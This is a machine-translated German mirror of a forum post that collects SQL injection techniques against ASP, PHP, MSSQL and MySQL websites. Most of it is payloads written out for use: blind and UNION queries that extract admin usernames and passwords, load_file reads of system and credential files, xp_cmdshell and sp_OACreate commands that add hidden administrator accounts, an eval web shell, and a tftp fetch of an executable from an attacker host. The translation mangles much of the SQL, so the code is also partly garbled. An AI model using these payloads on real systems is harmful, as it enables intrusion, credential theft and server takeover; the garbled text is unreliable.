Dieser Artikel ist ein Spiegelartikel der maschinellen Übersetzung, bitte klicken Sie hier, um zum Originalartikel zu springen.

Ansehen: 20889|Antwort: 2

[Sichere Kommunikation] SQL Injection Book – ASP Injection Schwachstelle Vollkontakt

[Link kopieren]
Veröffentlicht am 28.09.2015 18:21:41 | | |


MSSQL Datenbankübergreifende Abfragen (stinky food!) Dunkel)

Hol jeden letzten Tropfen MS SQL heraus

SQL-Anweisungsreferenzen und Recordset-Objekte werden ausführlich erklärt

Über gespeicherte Prozeduren in SQL Server

Erstellen Sie eine Webshell mit mssql-Backup

SQL_Injection fortgeschrittene Anwendungen

Cross-site SQL-Injektion (laokai)

Seltsame SQL-Injektion (AMANL)

Fortgeschrittene SQL-Injection in SQL-Server-Anwendungen

Wie man SQL-Injection verwendet, um Verzeichnisse zu durchlaufen

Walkthrough der SQL-Injektionstechniken (Übersetzer: demonalex)

Einige Angriffe auf SQL-Datenbanken

SQL-Injektionsangriffstechnik (JSW)

SQL_Injection Fortgeschrittene Anwendungen (APACHY)

Ungewöhnliche Methoden der SQL-Injection (Guilin-Veteran)

Sicherung einer Hülle

Sprechen Sie über die php+mysql-Injektions-Anweisungsstruktur (Heyhehehehe·≯Super· Hei)

Erweiterte SQL-Injektion mit MySQL(angel)

L'injection (My)SQL via PHP

Oracle SQL Language

SQL-Enzyklopädie für manuelle Injektion

Voraussetzungen erfordern Werkzeuge: SQL Query Analyzer und SqlExec Sunx Version
==============================================================================================
1. Feststellen, ob es einen Injektionspunkt gibt
; und 1=1 und 1=2
2. Vermutlich ist der Name der Tabelle nichts weiter als Admin, Admin, Benutzerpass, Benutzerpass, usw.:
und 0<>(Anzahl auswählen(*) aus *)
und 0<>(Anzahl auswählen(*) vom Administrator) — Bestimmen, ob die Admin-Tabelle existiert
3. Rate die Anzahl der Konten: Wenn du auf 0 stoßest< geh zur korrekten Seite zurück 1< gib die Fehlerseite zurück, um anzuzeigen, dass die Anzahl der Konten 1 ist
und 0<(Anzahl auswählen(*) vom Admin)
und 1< (Anzahl auswählen(*) von der Verwaltung)
4. Errate den Feldnamen: Füge den Feldnamen, den wir uns vorstellen, in den Klammern len( ) hinzu.
und 1=(Wähle Zahl(*) von der Verwaltung, wo len(*)>0)–
und 1=(Anzahl(*) vom Admin auswählen, wo len(Benutzerfeldname)>0)
und 1=(Wähle Anzahl(*) vom Admin aus, wo len(_blank>Passwort-Feldname)>0)
5. Rate die Länge jedes Feldes. Rate die Länge, um >0 zu transformieren, bis die korrekte Seite zurückgegeben wird.
und 1=(Anzahl auswählen(*) aus dem Admin, wo len(*)>0)
und 1=(Anzahl auswählen(*) vom Admin, wo len(name)>6) Fehler
und 1=(wähle Zahl(*) aus Admin, wo len(name)>5) Die korrekte Länge ist 6
und 1=(Anzahl auswählen(*) aus der Verwaltung, wobei len(name)=6) korrekt ist
und 1=(wähle die Anzahl(*) vom Admin aus, wo len(password)>11) korrekt ist
und 1=(wähle die Anzahl(*) vom Admin aus, wobei len(password)>12) Fehlerlänge 12 beträgt
und 1=(Wähle Zahl(*) vom Admin aus, wo len(passwort)=12) korrekt ist
6. Rate die Charaktere
und 1=(wähle Zahl(*) vom Administrator aus, wo links(name,1)=a) — Rate die erste Ziffer des Benutzerkontos
und 1=(wähle Zahl(*) vom Administrator aus, wo links(name,2)=ab)—Errate die zweite Ziffer des Benutzerkontos
Füge einfach jeweils einen Charakter hinzu, um zu raten, errate genug Ziffern, wie du gerade geraten hast, und die Kontonummer erscheint
(1) Errate den Namen des Tisches

Verwendete Sätze:
und existiert (wählen * aus dem Tabellennamen)

Zum Beispiel:
und existiert (auswählen * aus Admin)

Wenn die Seite korrekt echot, bedeutet das, dass der hier erratene Tabellenname korrekt ist, und wenn die Seite falsch ist, bedeutet das, dass der hier geschriebene Tabellenname falsch ist

, dann den Namen des Tisches ändern und weiter raten, bis du ratst.

Im Allgemeinen sind häufig verwendete Tabellennamen admin, manage, user oder Put it in das Tool-Run
(2) Errate das Feld

Verwendete Sätze:
und existiert (Feldname aus dem Tabellennamen auswählen)

Zum Beispiel:
und existiert (Benutzername vom Admin auswählen)

Hier, vorausgesetzt, die Admin-Tabelle ist die Tabelle, die ich oben richtig erraten habe, möchte ich feststellen, ob das Benutzername-Feld existiert, ich muss diese Anweisung verwenden, wenn die Seite

Wenn das Gesichtsecho korrekt ist, bedeutet das, dass der hier erratene Feldname korrekt ist, und wenn die Seite falsch ist, bedeutet das, dass der hier geschriebene Feldname falsch ist

, ändere dann den Feldnamen und rate weiter, bis du ratst.

Im Allgemeinen umfassen gängige Feldnamen Benutzername, Passwort, Benutzer, Pass, Name, Pass, pwd, usr, psd und andere Felder
(3) Ordnung nach

Die Reihenfolge von ist, die Summe der Felder auf dieser Seite zu erhalten, um die nächste gemeinsame Abfrage vorzubereiten
(4) Union Select

  1. Wenn Sie eine gemeinsame Abfrage unterstützen, finden Sie das Display-Bit http://www.xxx.com/product_show.asp?id=1 und 1=2 Union Select

1,2,3,4,5,6,7,8,9,10,11
Angenommen, die Anzeigebits sind 5,6. Als Nächstes müssen wir nur noch die Feldnamen, die dem Benutzernamen und Passwort des Administrators entsprechen, durch die Position des Anzeigebits hier ersetzen
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 vom Admin hat den Hintergrund-Login gefunden
  2. Wenn gemeinsame Abfrage nicht unterstützt wird
Der Benutzername und das Passwort des Administrators können ohne gemeinsame Abfrage nicht erhalten werden – mit Ascii-Wortwörtlicher Dekodierung
Zwei
  Verwenden Sie Order by, um die Anzahl der Bits in der Tabelle zu beurteilen, und wenn das nicht funktioniert, verwenden Sie Union select, um sie einzeln anzuordnen; hier nehmen wir 8 Bits an
Drei
  Verwenden Sie eine gemeinsame Abfrage, um die Darstellungsbits zu bestimmen
Vier
  Verwenden Sie das Anzeigebit, um den Datenbanknamen zu finden, Datenbankversion, Version 5.0 oder höher kann eingeschleust werden
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,user(),0x5c,
version()),8
Fünf
  Mit dem Datenbanknamen können Sie beginnen, das Tabellennamen-Schema = gefolgt vom HEX-Wert des Datenbanknamens zu erhalten und den Tabellennamen zu erraten
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+from+information_schema.columns+where+
table_schema=0x666C6965725F6462617365
Sechs
  Der analysierte Tabellenname bestimmt den HEX-Wert des Tabellenname=Tabellenname des Administrators und errät die Felder in der Tabelle
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT (DEUTLICH

+column_name),8+
von+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
Sieben
  Nachdem wir die Felder in der Admin-Tabelle erhalten haben, holen wir uns den Inhalt der Felder
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT (DEUTLICH

+Benutzername,
0x5f,userpwd),8+from+pub_webmaster
Acht
  Tool scannt den Hintergrund: Melde dich ein, um den Trojaner hochzuladen, nachdem du ihn gefunden hast, und falls du die robots.txt-Datei nicht findest, kannst du darauf zugreifen
Neun
  Wenn du den Hintergrund nicht findest, wird das Passwort des MYSQL-Administrators offengelegt
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(user,password),8+from+mysql.user
Zehn
  Greifen Sie zufällig auf einen Pfad zu, und das Feedback ist die 404-Standardseite von IIS6, was anzeigt, dass der Websiteserver ist: Windows+IIS6+php+MySql-Umgebung
  c:\\windows\\system32\\inetsrv\\MetaBase.xml Dieser Pfad kann die Konfigurationsinformationen der Website abrufen.
  Konstruktaussagen http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Elf
  Analysieren Sie den Code und finden Sie die Hintergrundadresse
  Im ersten Schritt müssen wir die Länge der Felder in der Tabelle erhalten
Verwendete Aussagen:
und (wähle oben 1 len(Feldname) aus dem Tabellennamen)>0
Zum Beispiel:
und (wähle Top 1 Len(admin_name) aus Admin)>0
Die Seite wird normal angezeigt, die Länge des Feldes admin_name ist größer als 0, und ich werde einreichen:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
Die Seite zeigt einen Fehler an, der besagt, dass das Feld zwischen 0 und 10 liegt und die Länge 5 anhand der Dichotomie beträgt.
Mit derselben Methode, um die Länge des Feldes für das Passwort des Administrators zu bestimmen, erhalte ich eine Länge von 16
  Schritt 2
Kommen wir nun zum zweiten Schritt: Nehmen wir ein bestimmtes Zeichen im Feld und erhalten den ASCII-Code des verwendeten Zeichens

Aussage:
und (wähle oben 1 ASC(Mid(Feldname, N,1)) aus dem Tabellennamen)>0
Lassen Sie mich diesen Satz separat betrachten, zunächst die innerste mid(username, 1,1)-Funktion, die das erste Zeichen des admin_name-Feldes N ist

angibt, dass die ersten Zeichen abgefangen werden sollen,
Dann repräsentiert die äußere ASC()-Funktion, die die von der Mid-Funktion abgefangenen Zeichen in ASCII-Code, das äußerste obere 1, das Rückgabefeld des ersten Platzes repräsentiert

Ein Rekord dann,
Das ">0" am Ende soll den konvertierten ASCII-Code mit dieser Zahl vergleichen und schließlich die Abfangfunktion erhalten, indem der letzte Wert ständig geändert wird

Erfahren Sie die Details dieses Charakters
ASCII-Code
Einreichung:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Die Seite wird normal angezeigt, was anzeigt, dass der ASCII-Code dieses Zeichens größer als 30 ist.
Einreichung:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Die Seite wird normal angezeigt, was anzeigt, dass der ASCII-Code dieses Zeichens größer als 90 ist.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
Der ASCII-Code, den ich für diesen Charakter erhalten habe, ist 97
Vergleichen Sie die ASCII-Tabelle:
Es lässt sich schließen, dass das erste Zeichen "a" ist.
Dann werde ich den ASCII-Code des zweiten Charakters beurteilen.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Die Seite wird normal angezeigt, was anzeigt, dass der ASCII-Code des Zeichens größer als 90 ist, und der letzte Wert wird immer geändert
Die gleiche Methode lieferte das Passwort des Administrators, und das Ergebnis war:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
und 1=(wähle oben 1 Count(*) aus Admin, wo Asc(mid(pass,5,1))=51) –
Diese Abfrageanweisung kann den chinesischen Nutzer und _blank> Passwort erraten. Ersetzen Sie einfach die folgenden Zahlen durch den chinesischen ASSIC-Code

Konvertiere in Charaktere.

Gruppe nach users.id mit 1=1–www.myhack58.com
Gruppieren nach users.id, users.username, users.password, users.privs mit 1=1–
; Fügen Sie in Benutzerwerte ein (666, Attacker, Foobar, 0xffff)–

UNION SELECT TOP 1 COLUMN_blank>_NAME AUS INFORMATION_blank>_SCHEMA. SÄULEN Wo

TABLE_blank>_NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank>_NAME AUS INFORMATION_blank>_SCHEMA. SÄULEN Wo

TABLE_blank>_NAME=Logintable Wo COLUMN_blank>_NAME NICHT IN (login_blank>_id)-
UNION SELECT TOP 1 COLUMN_blank>_NAME AUS INFORMATION_blank>_SCHEMA. SÄULEN Wo

TABLE_blank>_NAME=Logintable Wo COLUMN_blank>_NAME NICHT IN

(login_blank>_id,login_blank>_name)-
UNION AUSWÄHLEN OBEN 1 login_blank>_name VON der Logintabelle-
UNION Wähle TOP 1 Passwort AUS der Logintable, wo login_blank>_name=Rahul–
Schau dir den Patch an, den der _blank> Server gespielt hat = falscher SP4-Patch schwarzes Sicherheitsnetz mit der Leiste
und 1=(wähle @@VERSION)–

Schau dir die Berechtigungen des _blank> Datenbankverbindungskontos an, und es wird normal angezeigt, was beweist, dass es die Sysadmin-Berechtigung der _blank> Server-Rolle ist.
und 1=(Wählen Sie IS_blank>_SRVROLEMEMBER(Systemadministrator))–

Stellen Sie fest, ob das Datenbankkonto _blank> verbunden ist. (Verwenden Sie das SA-Konto zur Verbindung und geben Sie normal zurück = beweisen, dass das verbundene Konto SA ist)
und sa=(System_blank>_user auswählen)–
und user_blank>_name()=dbo–
und 0<>(wählen user_blank>_name()–

Schau, ob xp_blank>_cmdshell löscht
und 1=(Anzahl auswählen(*) VON master.dbo.sysobjects Wobei xtype = X UND Name = xp_blank>_cmdshell)



xp_blank>_cmdshell wird gelöscht, wiederhergestellt und unterstützt absolute Pfadwiederherstellung
; Executive master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== Datenbankberechtigung wird dem physischen Pfadcode der Website zugänglich gemacht

==========================================================================
1、Drop-Table [jm_tmp]; Tabelle erstellen [jm_tmp](Wert navrchar(4000) null, Daten nvarchar(4000)

null) -- Tabelle erstellen


2、 löschen [jm_tmp]; [jm_tmp] Exec master.dbo.xp_regread einfügen

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Füge das Site-Verzeichnis in das Tabellenfeld ein


3、and (Wähle oben 1 Cast([Data] als Nvarchar(4000) Char(124) aus [jm_tmp] Ordne nach [Data]

desc)=0 '//freigelegtes Feld


4. Tabelle fallen lassen [jm_tmp] – diese Tabelle löschen.
damit das Kommando die Granate holt
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Andere Stationswege
======================load_file() Häufig verwendete sensible Informationen ===========================================
1、 ersetzen(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、ersetzen(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
Die oben genannten beiden dienen dazu, eine PHP-Datei anzuzeigen, die den Code vollständig darstellt. Es gibt Zeiten, in denen einige Zeichen nicht ersetzt werden, wie zum Beispiel "<" statt "Space", das zurückkehrt

Webseite. Und der Code kann nicht angezeigt werden.

3. load_file(char(47)) kann das Root-Verzeichnis von FreeBSD- und Sunos-Systemen auflisten

4. Sehen Sie sich die Linux-APACHE-Virtual-Host-Konfigurationsdatei in /etc/httpd/conf/httpd.conf oder /usr/local/apche/conf/httpd.conf an

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf oder C:\apache\conf\httpd.conf, um WINDOWS anzuzeigen

System-Apache-Datei

6. c:/Resin-3.0.14/conf/resin.conf Sehen Sie sich die Resin-Dateikonfigurationsinformationen der von jsp entwickelten Website an.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf, um den auf dem Linux-System konfigurierten virtuellen JSP-Host anzuzeigen

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explodierte Pfad

11. C:\Windows\system32\inetsrv MetaBase.xml\ Sehen Sie die virtuelle Host-Konfigurationsdatei von IIS an

12. /usr/local/resin-3.0.22/conf/resin.conf, um die RESIN-Konfigurationsdatei für 3.0.22 anzusehen

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Wie oben

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtueller Host

15. /etc/sysconfig/iptables hängt von der Firewall-Richtlinie ab

16. /usr/local/app/php5 b/php.ini PHP-äquivalenten Einstellungen

17. /etc/my.cnf MYSQL-Konfigurationsdatei

18. /etc/redhat-release-System-Version von Red Hat

19 、C:\mysql\data\mysql\user. MYD existiert im Benutzerpasswort im MYSQL-System

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0, um IP anzuzeigen.

21. /usr/local/app/php5 b/php.ini //php-bezogene Einstellungen

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuelle Website-Einstellungen

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue zeigt die Verteilungsinformationen des Linux-Kernels an

26、/etc/ftpuser

27. Überprüfen Sie die Betriebsprotokolldatei unter LINUX user.bash_history oder .bash_profile

28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /Apache/Logs/access.log
.. /.. /apache/logs/error.log
.. /.. /Apache/Logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /Apache/Logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/lokal/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logs/error.log     
.. /Apache/Logs/access.log
.. /.. /apache/logs/error.log
.. /.. /Apache/Logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /Apache/Logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Experimentiere selbst mit Reverse PING
; benutze Master; Erklären Sie @s Int; Exec sp_blank>_oacreate "wscrip{filter}t.shell", @s aus; Exekutiv

sp_blank>_oamethod @s,"run", NULL,"cmd.exe /c ping 192,168,0,1"; –

Konto hinzufügen
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c Net-Nutzer jiaoniang$ 1866574 /add–

Erstellen Sie ein virtuelles Verzeichnis E-disk:
; Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, ausführen,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Zugriffsattribute: (mit Schreiben in eine Webshell)
Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, ausführen,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Spezieller _blank> Trick zum Bursten der Bibliothek: :%5c=\ oder modifiziere %5 mit / und \, um zu committen
und 0<>(wähle die Top-1-Pfade aus Newtable aus)–

Holen Sie sich den Datenbanknamen (von 1 bis 5 sind die IDs des Systems, und Sie können sie über 6 bewerten)
und 1=(Name aus master.dbo.sysdatabases auswählen, wobei dbid=7)–
und 0<>(Anzahl auswählen(*) aus master.dbo.sysdatabases, wo name>1 und dbid=6)
Reiche dbid der Reihe nach = 7,8,9.... Erhalten Sie mehr _blank> Datenbanknamen

und 0<> (wähle den oberen 1. Namen aus bbs.dbo.sysobjects aus, wobei xtype=U) in eine Tabelle mit der Annahme eines Admins aufbrechen
und 0<>(wähle den oberen 1-Namen aus bbs.dbo.sysobjects aus, wobei xtype=du und Name nicht in (Admin)).

Andere Tische.
und 0<>(Anzahl auswählen(*) aus bbs.dbo.sysobjects, wo xtype=you und name=admin
und uid>(str(id))) Der numerische Wert der UID wird als 18779569 uid=id angenommen.
und 0<>(wähle den Top-1-Namen aus bbs.dbo.syscolumns, wo id=18779569) erhält ein Feld für Admin, false

Auf user_blank>_id eingestellt
und 0<>(wähle den oberen 1-Namen aus bbs.dbo.syscolumns, wobei id=18779569 und Name nicht enthalten sind
(id,...)) um andere Felder freizulegen
und 0< (wähle user_blank>_id aus BBS.dbo.admin aus, wo Benutzername>1) um den Benutzernamen zu erhalten
Im Gegenzug kannst du _blank> Passwort bekommen。。。。。 Angenommen, es gibt Felder wie user_blank>_id Benutzername, Passwort usw

und 0<>(Anzahl auswählen(*) aus master.dbo.sysdatabases, wo name>1 und dbid=6)
und 0<>(wähle den Top-1-Namen aus bbs.dbo.sysobjects aus, wobei xtype=U verwendet wird), um den Tabellennamen zu erhalten
und 0<>(wähle den oberen 1-Namen aus bbs.dbo.sysobjects aus, wobei xtype=you und name not in(Address))
und 0<>(Anzahl auswählen(*) aus bbs.dbo.sysobjects wobei xtype=you und name=admin und uid>(str(id))

Bestimmung des id-Werts
und 0<> (wähle den oberen 1-Namen aus BBS.dbo.syscolumns aus, wobei id=773577794) alle Felder

?id=-1 Union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* aus dem Admin
?id=-1 Union wählen Sie 1,2,3,4,5,6,7,8,*,9,10,11,12,13 aus dem Admin aus (Union, Access ist ebenfalls einfach zu bedienen)

Hol dir den WEB-Pfad
; Tabelle erstellen [DBO]. [Tausch] ([swappass][char](255)); –
und (wähle den Top-1-Swappass aus Swap aus)=1–
; Create TABLE newtable(id int IDENTITY(1,1), paths varchar(500)) Deklariere @test varchar(20) exec

Meister.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test

OUTPUT fügt in Pfad(Pfad) Werte ein(@test)–
; KU1 verwenden; –
; Tabellen-CMD erstellen (STR-Bild); – Erstellen Sie eine Tabellen-CMD mit dem Bildtyp
1. Der Weg, den Prozess der xp_cmdshell Erweiterung zu entfernen, besteht darin, folgende Aussage zu verwenden:

wenn existiert (wähle * aus dbo.sysobjects aus, wobei id=object_id(N'[dbo].[ xpcmdshell]') und

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
Exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. Die Möglichkeit, xp_cmdshell Erweiterungsprozess hinzuzufügen, ist die folgende Aussage:

(1) SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Füllen Sie zuerst %s in der Format-Option der SqlExec Sunx Version ein und geben Sie sie in die CMD-Option ein

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

entfernen

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'
Es gibt xp_blank>_cmdshell Testverfahren:
; Exec Master.. xp_blank>_cmdshell dir
; Exec master.dbo.sp_blank>_addlogin jiaoniang$; – SQL-Konten hinzufügen
; Exec master.dbo.sp_blank>_password null, jiaoniang$,1866574; –
; Exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; –
; exec master.dbo.xp_blank>_cmdshell Internetnutzer jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; –
Exec Master.. xp_blank>_servicecontrol beginnen, plane den Start _blank> Gottesdienst
Exec Master.. xp_blank>_servicecontrol anfangen, Server
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c Net-Benutzer jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net-Localgroup-Administratoren jiaoniang$ /add
; Exec Master.. xp_blank>_cmdshell tftp -i youip get file.exe – Dateien mit TFTP hochladen

; Deklarieren @a Sysname-Set @a=xp_blank>_+cmdshell exec @a dir c:\
; Declare @a Sysname-Set @a=XP+_blank>_cm'+'dshell exec @a dir c:\
; erklären @a; setze @a=db_blank>_name(); Backup-Datenbank @a auf Festplatte=Ihre IP Ihr gemeinsames Verzeichnis bak.dat
Wenn eingeschränkt, ja.
Selectiere * aus openrowset(_blank>sqloledb,server; sa; , wähle OK! Exekutiv

master.dbo.sp_blank>_addlogin hax)

Abfragestruktur:
Wählen * VON Nachrichten aus, wo id=... UND Thema=... UND .....
adminand 1=(wähle die Anzahl (*) von [Benutzer] aus, wobei Benutzername=Opfer und rechts(links(UserPass,01),1)=1)

und UserPass <>
123 auswählen; –
; benutze Master; –
:a oder Name wie fff%; – Zeigt einen Benutzer namens ffff.
und 1<>(Anzahl (E-Mail auswählen) von [Benutzer]); –
; [Benutzer] aktualisieren E-Mail=(Auswählen des Top-1-Namens aus Sysobjects wo xtype=du und status>0) wo

name=FFFF; –
; [Benutzer] aktualisieren [Benutzer] E-Mail=(Wählen Sie die obere 1-ID aus Sysobjects aus, wo xtype=du und name=ad) wo

name=FFFF; –
; [Benutzer] E-Mail= aktualisieren (Namen oben 1 aus Sysobjects auswählen, wobei xtype=du und id>581577110)

wobei name=ffff; –
; Aktualisieren Sie [Benutzer] Setzen Sie E-Mail=(Wählen Sie den Top 1 Count(ID) aus Passwort aus), wo Name =FFFF; –
; Aktualisieren [Benutzer] Setzen Sie E-Mail=(Wählen Sie oben 1 PWD aus Passwort, wo ID=2) wo Name=FFFF; –
; [Benutzer] aktualisieren E-Mail=(Name oben 1 aus Passwort auswählen, wo ID=2) wo Name =FFFF; –
Die obige Anweisung ist, die erste Benutzertabelle in der _blank>-Datenbank zu erhalten und den Tabellennamen im E-Mail-Feld des FFFF-Benutzers einzugeben.
Indem Sie das Benutzerprofil von ffff ansehen, erhalten Sie die erste Tabelle namens AD
Dann holen Sie sich die ID dieser Tabelle entsprechend der Tabellennamen-Anzeige, um den Namen der zweiten Tabelle zu erhalten

Fügen Sie in users values ein( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
Fügen Sie in Benutzerwerte ein(667,123,123,0xffff)–
Fügen Sie in Benutzerwerte ein (123, admin–, Passwort, 0xffff)–
; und user>0
; und (Anzahl auswählen(*) aus Sysobjects)>0
; und (select count(*) from mysysobjects)>0 // für die access_blank>-Datenbank

Listen Sie den Namen der Datentabelle auf
; AAA-Satz AAA=(Name oben 1 aus Sysobjects auswählen, wobei xtype=du und status>0 ausgewählt werden); –
Hier wird der erste Tabellenname auf das Feld AAA aktualisiert.
Lies die erste Tabelle, und die zweite Tabelle kann so gelesen werden (nach der Bedingung hinzufügen und benennen<> dem Namen der gerade erhaltenen Tabelle).
; Update AAA-Set AAA=(Wähle den Top-1-Namen aus Sysobjects aus, wobei xtype=du und status>0 und

Name<>Vote); –
Dann ist id=1552 und existiert (wähle * aus aaa, wo aaa>5)
Lies die zweite Tabelle vor und lies sie einzeln durch, bis keine mehr da ist.
Das Lesefeld sieht so aus:
; AAA-Satz AAA=(Auswählen oben 1 col_blank>_name(object_blank>_id(Tabellenname),1)); –
Dann erhält id=152 und existiert (wähle * aus aaa, wobei aaa>5) einen Fehler und erhält den Feldnamen
; Update AAA-Satz AAA=(wähle oben 1 col_blank>_name(object_blank>_id(Tabellenname),2)); –
Dann erhält id=152 und existiert (wähle * aus aaa, wobei aaa>5) einen Fehler und erhält den Feldnamen

[Name der Datentabelle erhalten] [Aktualisieren Sie den Feldwert auf den Tabellennamen und lesen Sie dann den Wert dieses Feldes aus, um den Tabellennamen zu erhalten]
